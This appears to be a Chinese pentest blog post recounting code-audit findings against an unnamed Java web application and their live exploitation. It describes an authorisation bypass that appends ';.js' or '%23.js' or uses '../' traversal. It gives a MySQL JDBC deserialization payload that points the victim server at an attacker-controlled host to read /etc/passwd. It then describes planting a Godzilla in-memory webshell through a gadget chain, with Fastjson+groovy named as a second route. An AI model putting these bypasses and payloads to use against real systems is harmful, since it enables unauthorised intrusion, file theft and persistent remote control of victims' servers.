前言
好久没写文章了,把最近打点审的几个漏洞分享一下。
代码审计
filter权限绕过
在CurrentContextFilter
里,有四个关键方法。
需要关注的方法,很明显可以看出,应该是:isExcludeResource(request.getRequestURI())
isStaticResource(request.getRequestURI())
isAnonPermission(request)
从方法命名上可以看见分别代表含义“是否排除的资源”、“是否是静态资源”、“是否是匿名权限”。
分析
isExcludeResource
isExcludeResource(request.getRequestURI())
是判断当前url是否包含
1 | /xxxinterface/invoke |
如果包含以上值,则返回值是true
isStaticResource
isStaticResource(request.getRequestURI())
是判断当前url是否包含
1 | /static |
如果包含,返回值是true
。
在CurrentContextFilter
里面,当两个方法返回值是true
时,返回值是null
。
在dofilter
方法里面,也就是该filter
触发时,如果当前userAuthInfo
的值是null
,会直接去更新当前上下文updateCurrentContext
,也就是逻辑正常走完,没有中途通过return
去退出。
isAnonPermission
实际分析发现,此处是通过验证redis
里面的user-token
是否有效去验证用户权限的,因此不在分析范围内。
漏洞验证
直接访问某个接口的时候,会提示Token is not present.
也就是在getUserAuthInfo
方法里面执行到了下面这个位置
如果想要跳过该401
的提示,则需要将逻辑执行到上面的return null
处。
此时就很清晰了,可以通过在isStaticResource
方法或isExcludeResource
方法去跳过该逻辑。
以isStaticResource为例
也就是在当前的url
里面添加静态资源或者添加某几个url
即可绕过该限制。
如通过在当前url
添加静态资源后缀js
时(;.js
或者是#.js
,#
需要url
编码为%23
),即可绕过该401
限制,回显数据。
以isExcludeResource为例
如在当前的url
里面添加特殊的url
,再利用../
去跨越路径也可以绕过。
其他情况?
如果走2和3的逻辑,则token
是在redis
里面存着的
这种情况无法去伪造,即便是jwt
的密钥是硬编码的情况下。
如果请求头里面的token
是以basic
为开始的,则有可能可以去伪造token
即Authorization: Basic YWRtaW46MTIzNDU2
但暂时未在当前jar
里面找到实现该逻辑的代码块。
Mysql jdbc反序列化
分析
在DmXXXXController
里
在DmXXXServiceImpl
里面找到importDmByJdbc
的实现方法
再跟入到JdbcUtils.getMetaTableList
里面看见了DriverManager.getConnection
,且url
可控和lib
目录下存在mysql-connector-java-8.0.14.jar
,也就能打mysql jdbc
反序列化漏洞了。
漏洞验证
构造读取/etc/passwd
的payload
1 | {"url":"jdbc:mysql://x.x.x.x:3308/test?user=base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","user":"base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=","pwd":"123","appCode":"admin"} |
vps
上收到请求
然后就成功读取到对方linux
服务器上的文件
此时尝试打内存马,用的cb链
生成的哥斯拉内存马
。
发包后服务器收到请求
哥斯拉尝试连接,并连接成功
Fastjson+groovy反序列化
此处也能通过fastjson+groovy
去打内存马
且存在groovy
的依赖
总结
多审计day,打点才能事半功倍。